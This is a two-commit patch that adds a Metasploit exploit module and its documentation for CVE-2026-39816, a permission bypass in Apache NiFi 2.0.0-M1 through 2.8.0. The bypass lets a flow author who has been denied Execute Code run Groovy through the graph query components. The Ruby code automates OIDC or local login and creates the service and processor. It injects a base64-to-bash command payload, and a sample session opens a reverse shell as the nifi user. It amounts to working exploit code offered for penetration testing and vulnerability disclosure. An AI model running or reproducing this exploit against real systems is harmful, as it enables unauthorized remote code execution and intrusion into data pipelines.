From ec1b6b0a705c769e6b98f0bd1b86326c10dbbafe Mon Sep 17 00:00:00 2001 From: venexy Date: Mon, 31 Aug 2026 01:18:09 +0100 Subject: [PATCH 1/2] Add Apache NiFi ExecuteGraphQuery Tinkerpop Groovy RCE module Adds an exploit module for CVE-2026-39816. The TinkerpopClientService in Apache NiFi 2.0.0-M1 through 2.8.0 is missing the Restricted annotation that carries the Execute Code required permission, and the ExecuteGraphQuery / ExecuteGraphQueryRecord processors that drive it are not gated by Execute Code either. A flow author who has been explicitly denied Execute Code, but still has read/write on a process group and the controller, can create the service in bytecode-submission mode and an ExecuteGraphQuery whose Graph Query is Groovy. The processor compiles and evaluates the Groovy with a local GremlinGroovyScriptEngine before any graph traversal, so it runs as the NiFi service account and bypasses the restriction. Fixed in 2.9.0. The module logs in through the configured OpenID Connect provider (NiFi 2.x secured mode has no local login), or takes an existing bearer token, creates the controller service and processor, runs a command payload, and removes both components on cleanup. Tested against Apache NiFi 2.8.0 fronted by Keycloak OIDC. Signed-off-by: venexy --- .../http/apache_nifi_tinkerpop_groovy_rce.md | 117 +++++ .../http/apache_nifi_tinkerpop_groovy_rce.rb | 413 ++++++++++++++++++ 2 files changed, 530 insertions(+) create mode 100644 documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md create mode 100644 modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb diff --git a/documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md b/documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md new file mode 100644 index 0000000000000..5087d133cd35b --- /dev/null +++ b/documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +Apache NiFi **2.0.0-M1** through **2.8.0** ships the `TinkerpopClientService` controller +service without the `@Restricted` annotation that carries the **Execute Code** required +permission (**CVE-2026-39816**). The service accepts a `bytecode-submission` script +submission type, and the `ExecuteGraphQuery` / `ExecuteGraphQueryRecord` processors that use +it are likewise not gated by Execute Code. The processor compiles and evaluates the configured +"Graph Query" with a local `GremlinGroovyScriptEngine` before it ever opens a connection to a +graph database, so the Groovy runs on the NiFi host as the service account. + +The practical effect is a permission bypass that becomes remote code execution. NiFi's +Restricted machinery is meant to fence off code execution behind the Execute Code policy, the +same policy that guards `ExecuteScript` and `ExecuteProcess`. Because these graph components +were never annotated, a flow author who has been explicitly denied Execute Code, but still has +read/write on a process group and on the controller, can create the service and processor and +run arbitrary Groovy anyway. The issue is fixed in **2.9.0**. + +The preconditions are: + +* the account can create controller services and processors (a normal flow author), and +* the optional graph bundle `nifi-other-graph-services-nar`, which ships + `TinkerpopClientService`, is installed. Servers without that NAR are not affected. + +NiFi 2.x secured installations have no local login and federate authentication to an external +identity provider. This module drives the standard Spring Security OIDC login the way a browser +does (authorize redirect, credential POST, callback) and comes back with the NiFi JWT, so +`USERNAME` and `PASSWORD` are OpenID Connect credentials. If you already hold a NiFi bearer +token you can skip the login and set `BEARER-TOKEN` instead. + +NiFi 2.8.0 does not advertise its version on the unauthenticated API, so `check` confirms the +NiFi API is reachable and reports `Detected` when the build is not disclosed; it returns +`Appears` only when a version in the affected range is visible. + +### Setting up a vulnerable environment + +Any Apache NiFi 2.0.0-M1 through 2.8.0 with the graph NAR installed and OIDC configured is +vulnerable. The module was developed against NiFi 2.8.0 behind Keycloak. To reproduce the +class of bug, install the optional graph bundle so `TinkerpopClientService` is present: + +``` +# from a stock NiFi 2.8.0 install +cp nifi-other-graph-services-nar-2.8.0.nar $NIFI_HOME/lib/ +``` + +Configure OIDC (`nifi.security.user.oidc.*` in `nifi.properties`) against your identity +provider, then create a flow author account and, to demonstrate the bypass, deny it the +Execute Code global policy while leaving it read/write on the root process group and the +controller. The account can still reach RCE through this module. + +## Verification Steps + +1. Start `msfconsole`. +2. `use exploit/linux/http/apache_nifi_tinkerpop_groovy_rce` +3. `set RHOSTS ` +4. `set VHOST ` if NiFi enforces a host header (common with TLS). +5. `set USERNAME ` and `set PASSWORD ` (or `set BEARER-TOKEN `). +6. If the OIDC provider is advertised under a name you cannot route to, `set KEYCLOAK_RHOST `. +7. `set LHOST ` and pick a payload, e.g. `set PAYLOAD cmd/unix/reverse_bash`. +8. `check` should report the NiFi API is reachable. +9. `run` +10. A session opens running as the NiFi service account. The controller service and processor + created during exploitation are removed on cleanup. + +## Options + +### KEYCLOAK_RHOST +Address to reach the OpenID Connect provider on when NiFi advertises it under a name that does +not resolve or route from your host (for example a container name). Left blank, the provider is +contacted at the name NiFi redirects to. Optional. + +### DELAY +Seconds to wait after scheduling the processor for the Groovy to be evaluated before cleanup +runs. Default 5. Raise it on a slow or loaded instance. + +### CONTACT_POINTS (advanced) +The `Contact Points` value set on the `TinkerpopClientService`. The service never has to reach +a real graph database for the Groovy to run, so the default `127.0.0.1` is fine; change it only +if a local policy blocks that value. + +## Scenarios + +### Apache NiFi 2.8.0 behind Keycloak OIDC + +``` +msf6 > use exploit/linux/http/apache_nifi_tinkerpop_groovy_rce +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set RHOSTS 172.16.10.30 +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set VHOST nifi.internal +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set USERNAME flow.author +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set PASSWORD Sup3rSecret! +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set LHOST 172.16.10.10 +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set PAYLOAD cmd/unix/reverse_bash +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > run +[*] Started reverse TCP handler on 172.16.10.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Apache NiFi reachable; version not disclosed, and exploitation also depends on the graph bundle being installed +[+] Authenticated to NiFi +[*] Authenticated identity: flow.author +[+] Created TinkerpopClientService 55287976-01a0-1000-542b-1318823eb6fc (bytecode-submission) +[+] Created ExecuteGraphQuery processor 55287ebe-01a0-1000-0977-299d7413bab0 +[*] Scheduling the processor to evaluate the Groovy payload +[*] Command shell session 1 opened (172.16.10.10:4444 -> 172.16.10.30:47686) +[+] Deleted processor 55287ebe-01a0-1000-0977-299d7413bab0 +[+] Deleted controller service 55287976-01a0-1000-542b-1318823eb6fc + +id +uid=999(nifi) gid=995(nifi) groups=995(nifi) +``` + +### Using an existing bearer token + +When you already have a NiFi JWT (for example lifted from a browser session), skip the OIDC +login: + +``` +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set BEARER-TOKEN eyJraWQiOi... +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > run +``` diff --git a/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb b/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb new file mode 100644 index 0000000000000..bc68f74ef8338 --- /dev/null +++ b/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb @@ -0,0 +1,413 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Nifi + + TINKERPOP_SERVICE = 'org.apache.nifi.graph.TinkerpopClientService'.freeze + EXECUTE_GRAPH_QUERY = 'org.apache.nifi.processors.graph.ExecuteGraphQuery'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi ExecuteGraphQuery Tinkerpop Groovy Remote Code Execution', + 'Description' => %q{ + The TinkerpopClientService in Apache NiFi 2.0.0-M1 through 2.8.0 is missing the + Restricted annotation that carries the Execute Code required permission + (CVE-2026-39816). The service supports a bytecode-submission script submission + type, and the ExecuteGraphQuery / ExecuteGraphQueryRecord processors that drive + it are likewise not gated by Execute Code. A flow author who has read/write on a + process group and on the controller, but who has been explicitly denied the + Execute Code permission that guards ExecuteScript and ExecuteProcess, can + therefore create a TinkerpopClientService in bytecode-submission mode and an + ExecuteGraphQuery whose Graph Query is Groovy. The Groovy is compiled and + evaluated by a local GremlinGroovyScriptEngine on the NiFi host before any graph + traversal is attempted, so it runs arbitrary code as the NiFi service account and + bypasses the Execute Code restriction. + + This module logs in through the configured OpenID Connect provider (NiFi 2.x + secured installations have no local login), creates the controller service and + processor, and runs a command payload as the nifi user. The optional graph bundle + (nifi-other-graph-services-nar, which ships TinkerpopClientService) must be + installed; servers without it are not affected. + + Tested against Apache NiFi 2.8.0 fronted by Keycloak OIDC. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'John Walker', # discovery (ZeroPath), NIFI-15800 + 'venexy ' # metasploit module + ], + 'References' => [ + ['CVE', '2026-39816'], + ['URL', 'https://lists.apache.org/thread/xnx23t6so8c674sh9f5ofz5k08rg4hcp'], + ['URL', 'https://www.openwall.com/lists/oss-security/2026/04/13/8'], + ['URL', 'https://zeropath.com/blog/nifi-cve-2026-39816-privesc-rce'], + ['URL', 'https://issues.apache.org/jira/browse/NIFI-15800'] + ], + 'DisclosureDate' => '2026-04-13', + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('KEYCLOAK_RHOST', [false, 'Address to reach the OIDC provider on when NiFi advertises an unroutable name for it (default: RHOST)']), + OptInt.new('DELAY', [true, 'Seconds to wait for the Groovy to evaluate before cleaning up', 5]) + ] + ) + + register_advanced_options( + [ + OptString.new('CONTACT_POINTS', [true, 'TinkerpopClientService Contact Points value (the service never has to connect)', '127.0.0.1']) + ] + ) + end + + ## + # OpenID Connect login. NiFi 2.x secured mode federates to an external IdP and issues + # no local token, so we walk the Spring OAuth2 login the way the browser does: NiFi + # hands us a 302 to the IdP authorize endpoint, we post the credentials to the login + # form, and follow the redirect back through NiFi's callback, which drops the NiFi JWT + # in an Authorization-Bearer cookie. The dance crosses two origins (NiFi over TLS and + # the IdP), so we keep a per-origin cookie jar and drive raw clients rather than the + # single-origin send_request_cgi. + ## + + def scheme + datastore['SSL'] ? 'https' : 'http' + end + + def nifi_vhost + datastore['VHOST'].to_s.empty? ? rhost : datastore['VHOST'] + end + + def nifi_sni + datastore['SSLServerNameIndication'].to_s.empty? ? nifi_vhost : datastore['SSLServerNameIndication'] + end + + def nifi_base + "#{scheme}://#{nifi_vhost}:#{datastore['RPORT']}" + end + + # NiFi advertises itself by its own vhost; anything else in the flow is the IdP. + def nifi_origin_host?(host) + [nifi_vhost, rhost].include?(host) + end + + def split_url(url) + m = url.match(%r{\A(https?)://([^/:]+)(?::(\d+))?(/[^?#]*)?(?:\?(.*))?\z}im) + fail_with(Failure::UnexpectedReply, "Cannot parse redirect URL: #{url}") unless m + + s = m[1].downcase + [s, m[2], (m[3] || (s == 'https' ? 443 : 80)).to_i, (m[4].to_s.empty? ? '/' : m[4]), m[5]] + end + + def oidc_jar(origin) + @jars ||= {} + @jars[origin] ||= {} + end + + def cookie_header(origin) + oidc_jar(origin).map { |name, value| "#{name}=#{value}" }.join('; ') + end + + # NiFi and Keycloak both send cookie deletions as empty-value Set-Cookie entries; mirror + # that in a per-origin jar so the Keycloak login and the NiFi callback each replay the + # right session (the callback needs NiFi's authorization-request cookie, not Keycloak's). + def store_cookies(origin, res) + res.get_cookies.split(';').each do |pair| + name, value = pair.strip.split('=', 2) + next if name.nil? || name.empty? + + if value.nil? || value.empty? + oidc_jar(origin).delete(name) + else + oidc_jar(origin)[name] = value + end + end + end + + def oidc_request(method, url, body = nil) + req_scheme, host, port, path, query = split_url(url) + ssl = (req_scheme == 'https') + origin = "#{req_scheme}://#{host}:#{port}" + full_path = query ? "#{path}?#{query}" : path + + if nifi_origin_host?(host) + chost = rhost + cport = datastore['RPORT'].to_i + sni = nifi_sni + else + chost = datastore['KEYCLOAK_RHOST'].to_s.empty? ? rhost : datastore['KEYCLOAK_RHOST'] + cport = port + sni = host + end + # Host header is just the name; Rex appends the port itself when it is non-standard. + cli = Rex::Proto::Http::Client.new(chost, cport, { 'Msf' => framework, 'MsfExploit' => self }, ssl, nil, datastore['Proxies']) + cli.set_config('vhost' => host, 'ssl_server_name_indication' => sni) + begin + cli.connect + opts = { 'method' => method, 'uri' => full_path, 'headers' => {} } + ch = cookie_header(origin) + opts['headers']['Cookie'] = ch unless ch.empty? + if body + opts['data'] = body + opts['ctype'] = 'application/x-www-form-urlencoded' + end + res = cli.send_recv(cli.request_raw(opts), 20) + ensure + cli.close + end + store_cookies(origin, res) if res + res + end + + def oidc_follow(method, url, body = nil) + res = oidc_request(method, url, body) + 12.times do + break unless res && [301, 302, 303, 307, 308].include?(res.code) + + loc = res.headers['location'] + break if loc.nil? || loc.empty? + + loc = "#{scheme}://#{nifi_vhost}:#{datastore['RPORT']}#{loc}" unless loc =~ %r{\Ahttps?://}i + res = oidc_request('GET', loc) + end + res + end + + def discover_login_uri + res = oidc_request('GET', "#{nifi_base}/nifi-api/authentication/configuration") + if res && res.code == 200 + uri = res.get_json_document.dig('authenticationConfiguration', 'loginUri') + return uri unless uri.to_s.empty? + end + "#{nifi_base}/nifi-api/oauth2/authorization/consumer" + end + + def form_action(html) + return nil if html.nil? + + m = html.match(/]*\baction="([^"]+)"/im) + m && m[1].gsub('&', '&') + end + + def oidc_login + @jars = {} + login_uri = discover_login_uri + vprint_status("OIDC login initiation: #{login_uri}") + + res = oidc_follow('GET', login_uri) + fail_with(Failure::Unreachable, 'No response while starting the OIDC login') if res.nil? + + action = form_action(res.body) + fail_with(Failure::NotFound, "No IdP login form after OIDC initiation (HTTP #{res.code}); check the OIDC configuration") if action.nil? + action = "#{scheme}://#{nifi_vhost}:#{datastore['RPORT']}#{action}" unless action =~ %r{\Ahttps?://}i + + body = "username=#{CGI.escape(datastore['USERNAME'])}&password=#{CGI.escape(datastore['PASSWORD'])}" + oidc_follow('POST', action, body) + + names = %w[__Secure-Authorization-Bearer __Host-Authorization-Bearer Authorization-Bearer] + token = (@jars || {}).values.map { |j| names.map { |n| j[n] }.compact.first }.compact.first + if token.to_s.empty? + seen = (@jars || {}).values.flat_map(&:keys).uniq.join(', ') + fail_with(Failure::NoAccess, "OIDC completed but NiFi issued no bearer cookie (bad credentials or unapproved account?). Cookies seen: #{seen}") + end + token + end + + ## + # Authenticated NiFi REST API (single origin, bearer). Reuses the framework NiFi mixin + # for the read-only lookups. + ## + + def nifi_api(method, path, body: nil, qs: nil) + opts = { + 'method' => method, + 'uri' => normalize_uri(target_uri.path, 'nifi-api', path), + 'headers' => { 'Authorization' => "Bearer #{@token}" } + } + opts['vars_get'] = qs if qs + if body + opts['ctype'] = 'application/json' + opts['data'] = body.to_json + end + send_request_cgi(opts) + end + + def entity_revision(kind, id) + res = nifi_api('GET', "#{kind}/#{id}") + return nil unless res&.code == 200 + + res.get_json_document['revision'] + end + + def create_tinkerpop_service(root) + body = { + 'revision' => { 'version' => 0 }, + 'component' => { + 'type' => TINKERPOP_SERVICE, + 'name' => Rex::Text.rand_text_alphanumeric(8..12), + 'properties' => { + 'Script Submission Type' => 'bytecode-submission', + 'Settings Specification' => 'service-settings', + 'Contact Points' => datastore['CONTACT_POINTS'], + 'Port' => '8182', + 'Path' => '/gremlin' + } + } + } + res = nifi_api('POST', "process-groups/#{root}/controller-services", body: body) + unless res&.code == 201 + fail_with(Failure::NoAccess, "Could not create the TinkerpopClientService (HTTP #{res ? res.code : 'n/a'}); the account may lack controller access or the graph bundle is not installed") + end + doc = res.get_json_document + [doc['id'], doc['revision']] + end + + def enable_service(id, revision) + nifi_api('PUT', "controller-services/#{id}/run-status", body: { 'revision' => revision, 'state' => 'ENABLED', 'disconnectedNodeAcknowledged' => false }) + # bytecode-submission evaluates the Groovy locally even if the graph never connects, + # so an ENABLING/DISABLED service is not fatal; give it a moment, then press on. + 30.times do + state = entity_revision('controller-services', id) && nifi_api('GET', "controller-services/#{id}").get_json_document.dig('component', 'state') + break if state == 'ENABLED' + + sleep 1 + end + end + + def create_graph_processor(root, service_id) + body = { + 'revision' => { 'version' => 0 }, + 'component' => { + 'type' => EXECUTE_GRAPH_QUERY, + 'name' => Rex::Text.rand_text_alphanumeric(8..12), + 'position' => { 'x' => 0, 'y' => 0 }, + 'config' => { + 'properties' => { 'Client Service' => service_id, 'Graph Query' => groovy_payload }, + 'autoTerminatedRelationships' => %w[success failure original], + 'schedulingPeriod' => '3600 sec' + } + } + } + res = nifi_api('POST', "process-groups/#{root}/processors", body: body) + unless res&.code == 201 + fail_with(Failure::UnexpectedReply, "Could not create the ExecuteGraphQuery processor (HTTP #{res ? res.code : 'n/a'})") + end + doc = res.get_json_document + [doc['id'], doc['revision']] + end + + # Groovy evaluated by the processor's local GremlinGroovyScriptEngine before any graph + # traversal. base64 keeps the payload free of quotes and $ so it can't perturb the + # Groovy string or GString handling; the last expression is the query result NiFi wants. + def groovy_payload + cmd = "echo #{Base64.strict_encode64(payload.encoded)} | base64 -d | bash" + %(["bash","-c",#{cmd.to_json}].execute()\ndef result = new HashMap(); result.put("status","ok"); result\n) + end + + def check + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'authentication', 'configuration')) + return CheckCode::Unknown('No response from the NiFi API') if res.nil? + return CheckCode::Safe("Unexpected response (HTTP #{res.code}); target may not be Apache NiFi") unless res.code == 200 + + conf = res.get_json_document['authenticationConfiguration'] + return CheckCode::Safe('NiFi API reachable but returned no authentication configuration') if conf.nil? + + version = get_version + if version + if version >= Rex::Version.new('2.0.0') && version < Rex::Version.new('2.9.0') + return CheckCode::Appears("Apache NiFi #{version}") + end + + return CheckCode::Safe("Apache NiFi #{version} is outside the affected 2.0.0 - 2.8.0 range") + end + + CheckCode::Detected('Apache NiFi reachable; version not disclosed, and exploitation also depends on the graph bundle being installed') + end + + def exploit + if datastore['BEARER-TOKEN'].to_s.empty? && (datastore['USERNAME'].to_s.empty? || datastore['PASSWORD'].to_s.empty?) + fail_with(Failure::BadConfig, 'Authentication is required: set USERNAME and PASSWORD for OIDC login, or supply BEARER-TOKEN') + end + + @token = datastore['BEARER-TOKEN'].to_s.empty? ? oidc_login : datastore['BEARER-TOKEN'] + print_good('Authenticated to NiFi') + + who = nifi_api('GET', 'flow/current-user') + if who&.code == 200 + identity = who.get_json_document['identity'] + print_status("Authenticated identity: #{identity}") unless identity.to_s.empty? + end + + root = fetch_root_process_group(@token) + fail_with(Failure::UnexpectedReply, 'Could not read the root process group; the account may lack flow access') if root.nil? + vprint_good("Root process group: #{root}") + + @service_id, service_revision = create_tinkerpop_service(root) + print_good("Created TinkerpopClientService #{@service_id} (bytecode-submission)") + enable_service(@service_id, service_revision) + + @processor_id, processor_revision = create_graph_processor(root, @service_id) + print_good("Created ExecuteGraphQuery processor #{@processor_id}") + + print_status('Scheduling the processor to evaluate the Groovy payload') + nifi_api('PUT', "processors/#{@processor_id}/run-status", body: { 'revision' => processor_revision, 'state' => 'RUNNING', 'disconnectedNodeAcknowledged' => false }) + + sleep(datastore['DELAY']) + end + + def cleanup + super + return unless @token + + if @processor_id + rev = entity_revision('processors', @processor_id) + if rev + nifi_api('PUT', "processors/#{@processor_id}/run-status", body: { 'revision' => rev, 'state' => 'STOPPED', 'disconnectedNodeAcknowledged' => false }) + nifi_api('DELETE', "processors/#{@processor_id}/threads") + sleep 1 + rev = entity_revision('processors', @processor_id) || rev + nifi_api('DELETE', "processors/#{@processor_id}", qs: { 'version' => rev['version'] }) + vprint_good("Deleted processor #{@processor_id}") + end + end + + return unless @service_id + + rev = entity_revision('controller-services', @service_id) + return if rev.nil? + + nifi_api('PUT', "controller-services/#{@service_id}/run-status", body: { 'revision' => rev, 'state' => 'DISABLED', 'disconnectedNodeAcknowledged' => false }) + sleep 2 + rev = entity_revision('controller-services', @service_id) || rev + nifi_api('DELETE', "controller-services/#{@service_id}", qs: { 'version' => rev['version'] }) + vprint_good("Deleted controller service #{@service_id}") + end +end From 4a486d6a6d46ca93e55589e471f3a6d02992f4dc Mon Sep 17 00:00:00 2001 From: venexy Date: Mon, 31 Aug 2026 20:42:36 +0100 Subject: [PATCH 2/2] Support NiFi local username/password login (single-user and LDAP) The module only authenticated through the external OIDC flow, so it could not log in to a stock single-user or LDAP-backed NiFi, which are the common lab and on-prem setups. Read authentication/configuration and, when externalLoginRequired is false, post the credentials to /access/token for the bearer token; keep the OIDC dance for federated installs. USERNAME and PASSWORD now work against either, and BEARER-TOKEN still short-circuits both. Verified end to end against a single-user 2.8.0 lab with the graph bundle: a flow author denied Execute Code gets 403 on ExecuteScript while ExecuteGraphQuery runs Groovy as the nifi user. Signed-off-by: venexy --- .../http/apache_nifi_tinkerpop_groovy_rce.rb | 65 ++++++++++++++----- 1 file changed, 48 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb b/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb index bc68f74ef8338..786b6a6d37d52 100644 --- a/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb +++ b/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb @@ -32,13 +32,14 @@ def initialize(info = {}) traversal is attempted, so it runs arbitrary code as the NiFi service account and bypasses the Execute Code restriction. - This module logs in through the configured OpenID Connect provider (NiFi 2.x - secured installations have no local login), creates the controller service and - processor, and runs a command payload as the nifi user. The optional graph bundle - (nifi-other-graph-services-nar, which ships TinkerpopClientService) must be - installed; servers without it are not affected. - - Tested against Apache NiFi 2.8.0 fronted by Keycloak OIDC. + This module logs in through the target's login mechanism (a local + username/password provider such as single-user or LDAP, or an external OpenID + Connect provider, auto-detected from the authentication configuration), creates + the controller service and processor, and runs a command payload as the nifi + user. The optional graph bundle (nifi-other-graph-services-nar, which ships + TinkerpopClientService) must be installed; servers without it are not affected. + + Tested against Apache NiFi 2.8.0 in single-user mode and fronted by Keycloak OIDC. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -89,8 +90,8 @@ def initialize(info = {}) end ## - # OpenID Connect login. NiFi 2.x secured mode federates to an external IdP and issues - # no local token, so we walk the Spring OAuth2 login the way the browser does: NiFi + # OpenID Connect login. When NiFi federates to an external IdP it issues no local + # token, so we walk the Spring OAuth2 login the way the browser does: NiFi # hands us a 302 to the IdP authorize endpoint, we post the credentials to the login # form, and follow the redirect back through NiFi's callback, which drops the NiFi JWT # in an Authorization-Bearer cookie. The dance crosses two origins (NiFi over TLS and @@ -201,13 +202,36 @@ def oidc_follow(method, url, body = nil) res end + def auth_configuration + return @auth_configuration if defined?(@auth_configuration) + + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'authentication', 'configuration')) + @auth_configuration = (res && res.code == 200) ? (res.get_json_document['authenticationConfiguration'] || {}) : {} + end + + # True when the box federates to an external IdP (OIDC/SAML) and issues no local token. + # A local single-user/LDAP install also advertises a loginUri (its own login page), so + # externalLoginRequired is the only field that actually distinguishes the two. + def external_login? + auth_configuration['externalLoginRequired'] == true + end + def discover_login_uri - res = oidc_request('GET', "#{nifi_base}/nifi-api/authentication/configuration") - if res && res.code == 200 - uri = res.get_json_document.dig('authenticationConfiguration', 'loginUri') - return uri unless uri.to_s.empty? - end - "#{nifi_base}/nifi-api/oauth2/authorization/consumer" + uri = auth_configuration['loginUri'] + uri.to_s.empty? ? "#{nifi_base}/nifi-api/oauth2/authorization/consumer" : uri + end + + # Local username/password login (single-user or an LDAP/Kerberos login-identity + # provider). NiFi returns the JWT as the plain-text response body. + def local_token_login + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } + ) + fail_with(Failure::NoAccess, "Local login failed (HTTP #{res ? res.code : 'n/a'}); check USERNAME/PASSWORD") unless res&.code == 201 + res.body.to_s.strip end def form_action(html) @@ -354,10 +378,17 @@ def check def exploit if datastore['BEARER-TOKEN'].to_s.empty? && (datastore['USERNAME'].to_s.empty? || datastore['PASSWORD'].to_s.empty?) - fail_with(Failure::BadConfig, 'Authentication is required: set USERNAME and PASSWORD for OIDC login, or supply BEARER-TOKEN') + fail_with(Failure::BadConfig, 'Authentication is required: set USERNAME and PASSWORD, or supply BEARER-TOKEN') end - @token = datastore['BEARER-TOKEN'].to_s.empty? ? oidc_login : datastore['BEARER-TOKEN'] + @token = + if !datastore['BEARER-TOKEN'].to_s.empty? + datastore['BEARER-TOKEN'] + elsif external_login? + oidc_login + else + local_token_login + end print_good('Authenticated to NiFi') who = nifi_api('GET', 'flow/current-user')